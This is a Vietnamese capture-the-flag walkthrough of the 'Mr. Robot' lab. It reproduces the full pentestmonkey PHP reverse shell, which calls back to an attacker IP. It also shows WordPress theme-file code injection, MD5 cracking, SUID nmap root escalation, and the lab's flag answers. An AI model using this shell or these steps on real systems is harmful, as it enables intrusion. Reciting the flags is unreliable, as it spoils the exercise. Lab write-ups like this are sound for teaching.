

# Recon
Sau khi Start Machine , ta nhận được một IP mục tiêu: `10.10.17.126`. Việc đầu tiên cần làm là thực hiện quét `Nmap` để xem các dịch vụ nào đang chạy trên máy mục tiêu:

Có `http/https` và `ssh` đang chạy trên máy mục tiêu, truy cập trang web với địa chỉ trên ta được các đoạn phim như trích trong phim về an ninh mạng: `Mr.Robots`😶.Dừng xem một tí cho vui =)))

Thử truy cập robots.txt xem có gì nào , ta thấy 2 file như bên dưới:

Hmm, tìm được key đầu tiên của labs :

*Answer: Key_1_of_3 : 073403c8a58a1f80d943455fb30724b9*
(Key dạng gì mà form lạ thế không biết 🫠)
Hai Key còn lại nằm đâu ta , ta thấy có file kỳ lạ `fsocity.dic` bên trang `robots.txt` ,tải về để xem có gì k0 :/

Hmm, một file wordlist với hơn 800000 dòng "-" .Thử chạy `gobuster` với wordlist trên để khám phá các file và thư mục ẩn trên web xem:


View qua các trang `/images` , `/css` , ta đều bị chặn , truy cập site có status 200 `/license`:

# Gain Access
Lướt xuống cuối trang có đoạn dạng như base64: `ZWxsaW90OkVSMjgtMDY1Mgo=`. Đem đi decode ta được `elliot:ER28-0652`

Dường như đây là username:passwd đăng nhập , truy cập `/login` được tìm thấy bên trên, ta được chuyển hướng đến trang login `/wp-login.php`:

Thử đăng nhập với `elliot:ER28-0652`:


# Exploit
Một trang quản trị nội dung `wordpress` xuất hiện , ta tìm thấy phiên bản ở cuối trang là version 4.3.1 :

Hmm, thử search CVE cho version wordpress này xem sao.
Ta tìm được vul về **RCE(Remote Code Execution)** trên phiên bản này. Edit content một file php bất kỳ: page.php, sử dụng payload *[php-reverse-shell.php](https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php)* của *pentestmonkey*:
```
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.17.122.154'; // Sử dụng ifconfig để lấy ip máy đang sử dụng😗
$port = 12345; // Chọn port 12345 để listen kết nối đến🫠
//Còn lại giữ nguyên theo payload gốc😶
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
```

Update edit file. Trước khi load site page.php , sử dụng netcat để lắng nghe kết nối đến :

Truy cập *10.10.17.126/wp-content/themes/twentyfifteen/page.php* , ngay lập tức , ta nhận được reverse-shell kết nối qua terminal:

Hmm, ta nhận được shell *non-interactive* *sh* (shell non-interactive hạn chế các tính năng tương tác shell trên hệ thống)
Kiểm tra tiến trình với `ps` , kiểm tra python trên hệ thống:

Thực hiện nâng cấp shell interactive với `bash` shell sử dụng python: `python -c 'import pty;pty.spawn("/bin/bash")';`
Lệnh trên tạo ra một thiết bị terminal mới và khởi chạy shell `bash` bên trong nó: (cú pháp thì tự search gg🫠:*[upgrade-linux-shell](https://zweilosec.github.io/posts/upgrade-linux-shell/)* )

Thực hiện tìm kiếm file key thứ 2 : `find / -name "key-3*" 2> /dev/null `(chuyển hướng Error qua /dev/null để tránh bị out phiên shell nhé😗)

Cd to /home/robot and cat it :

Chỉ người dùng robot mới có quyền read trên file , hmm , ta có quyền đọc trên file `password.raw-md5` ,cat thử xem :

Đem crack hash md5 trên [crackstation.net](https://crackstation.net/) thử xem :

May dễ hash và lấy được `abcdefghijklmnopqrstuvwxyz` 🫠. File ghi password mà của robot thì thì thử switch qua người dùng robot xem😗 :

Ớ vào được robot kìa😶, đọc file key thôi😶

*Answer: Key-2-of-3: 822c73956184f694993bede3eb39f959*
Xong key 2 ,***where is key3 located?*** 🤔.
Thử search file với keyword là "key" vẫn không ra key 3 =((

Thử` ls -l /` xem:

Vậy file key 3 chắc chỉ có thể nằm trong `/root` ,hoặc `/lost+found` , mà sao trong` /lost+found` được chứ 🫠.
Thử kiếm xem các file thực thi có quyền SUID (file sẽ được thực thi với quyền cao nhất) nào không: `find / -type -perm -4001` (-4001 ở đây chỉ định các file có ít nhất các quyền **SUID** và **Excecute** trở lên , man find sẽ rõ hơn😗)

Search một hồi và xem các gợi ý , ta chú ý có file nmap có thể thực thi shell command: [nmap_gtfobins](https://gtfobins.github.io/gtfobins/nmap/)


Thực thi nmap --interactive , !sh :-1:

Vậy là vào được root roy😁. Run ls -l /root xem:

Cuối cùng cũng tìm được file key thứ 3 , cat it and solved😀
*Answer: 04787ddef27c3dee1ee161b21670b4e4*